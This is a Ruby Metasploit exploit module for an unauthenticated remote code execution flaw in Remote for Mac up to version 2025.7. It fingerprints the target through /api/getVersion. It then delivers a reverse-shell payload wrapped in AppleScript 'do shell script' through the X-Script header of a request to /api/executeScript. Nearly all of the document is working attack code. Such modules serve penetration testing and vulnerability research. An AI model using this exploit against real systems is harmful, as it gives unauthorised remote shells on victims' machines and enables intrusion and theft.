require 'json' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Remote for Mac Unauthenticated RCE', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in Remote for Mac versions up to and including 2025.7 via the /api/executeScript endpoint. When authentication is disabled on the target system, it allows attackers to execute arbitrary AppleScript commands, which can include shell commands via `do shell script`. All versions up to 2025.7 (including patch versions) are vulnerable. }, 'License' => MSF_LICENSE, 'Author' => ['Chokri Hammedi (@blue0x1)'], 'References' => [ ['PACKETSTORM', '195347'] ], 'DisclosureDate' => '2025-05-27', 'Platform' => ['unix', 'osx'], 'Arch' => ARCH_CMD, 'Targets' => [['Auto', {}]], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'), 'method' => 'GET' ) return CheckCode::Unknown('No response from target') unless res&.code == 200 info = res.get_json_document if info.empty? return CheckCode::Unknown('Unable to parse JSON from /api/getVersion') end if info['requires.auth'] == true return CheckCode::Safe('Target requires authentication on /api/executeScript') end version = info['version'].to_s if version.empty? return CheckCode::Unknown('Could not determine target version') end target_version = Rex::Version.new(version) vulnerable_version = Rex::Version.new('2025.7') if target_version <= vulnerable_version return CheckCode::Appears else return CheckCode::Safe("Target version #{version} is not vulnerable") end end def exploit print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}") cmd = payload.encoded applescript = %(do shell script "#{cmd}") host_name = Rex::Text.rand_text_alpha(8) host_model = "#{Rex::Text.rand_text_alpha(4)}#{rand(99)}" script_name = Rex::Text.rand_text_alpha(8) print_status("Sending exploit to #{rhost}:#{rport} via AppleScript") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), 'method' => 'GET', 'headers' => { 'X-ClientToken' => Rex::Text.rand_text_numeric(4), 'X-HostName' => host_name, 'X-HostFullModel' => host_model, 'X-Script' => applescript, 'X-ScriptName' => script_name, 'X-ScriptDelay' => '0' } ) print_status('Payload sent') if res&.code == 200 print_good('Payload delivered successfully. Awaiting session...') res_json = res.get_json_document print_status("Received response: #{res_json['result']}") end end end